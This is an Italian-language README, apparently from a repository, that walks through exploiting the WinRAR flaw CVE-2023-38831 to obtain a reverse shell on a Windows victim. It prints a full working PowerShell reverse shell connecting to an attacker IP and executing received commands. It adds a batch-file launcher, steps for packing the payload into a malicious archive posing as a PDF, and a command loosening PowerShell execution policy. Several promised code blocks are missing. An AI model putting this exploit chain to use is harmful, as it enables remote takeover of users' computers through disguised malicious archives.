
Passi necessari per ottenere una reverse shell sfruttando la vulnerabilità di WinRAR CVE-2023-38831 nelle versioni precedenti alla 6.23.
In questo repository sfrutteremo la vulnerabilità CVE-2023-38831 di WinRAR in modo da ottenere una reverse shell dalla macchina vittima Windows alla macchina attaccante Kali Linux.
Scarichiamo il contenuto di questo repository:

Successivamente, dobbiamo installare le dipendenze Python necessarie per sfruttare questa vulnerabilità con i seguenti comandi:
pip install rarce

Eseguiremo un codice malevolo che ci fornisca una reverse shell, proveniente dal sito revshells.com (fornendo l'IP e la porta dell'attaccante corrispondenti):

$LHOST = "192.168.0.36"; $LPORT = 443; $TCPClient = New-Object Net.Sockets.TCPClient($LHOST, $LPORT); $NetworkStream = $TCPClient.GetStream(); $StreamReader = New-Object IO.StreamReader($NetworkStream); $StreamWriter = New-Object IO.StreamWriter($NetworkStream); $StreamWriter.AutoFlush = $true; $Buffer = New-Object System.Byte[] 1024; while ($TCPClient.Connected) { while ($NetworkStream.DataAvailable) { $RawData = $NetworkStream.Read($Buffer, 0, $Buffer.Length); $Code = ([text.encoding]::UTF8).GetString($Buffer, 0, $RawData -1) }; if ($TCPClient.Connected -and $Code.Length -gt 1) { $Output = try { Invoke-Expression ($Code) 2>&1 } catch { $_ }; $StreamWriter.Write("$Output`n"); $Code = $null } }; $TCPClient.Close(); $NetworkStream.Close(); $StreamReader.Close(); $StreamWriter.Close()
Questo codice PowerShell lo salviamo in un file .ps1 (verrà eseguito successivamente):

Una volta ottenuto il codice in ps1 per ottenere la reverse shell, creiamo un file Python che, utilizzando la libreria os, si occupi di eseguire il file .ps1:

Successivamente, creiamo un file .bat con il seguente codice:

rem Ruta al ejecutable de Python
set PYTHON_EXECUTABLE=python.exe
rem Ruta al script de Python que deseas ejecutar
set PYTHON_SCRIPT=pwned.py
rem Ejecutar el script de Python
%PYTHON_EXECUTABLE% %PYTHON_SCRIPT%
rem Pausa para que puedas ver la salida antes de que se cierre la ventana
pause
A questo punto dobbiamo creare il WinRAR malevolo:

Eseguiamo il file documento.pdf all'interno del .rar:


Infine, se rimaniamo in ascolto con netcat da una macchina attaccante, avremo ricevuto la reverse shell:

In caso di impossibilità di eseguire comandi PowerShell, è necessario abilitare l'esecuzione di script nel nostro sistema:


Lo abilitiamo:

Ed eseguiamo il seguente comando:
Set-ExecutionPolicy RemoteSigned -Scope CurrentUser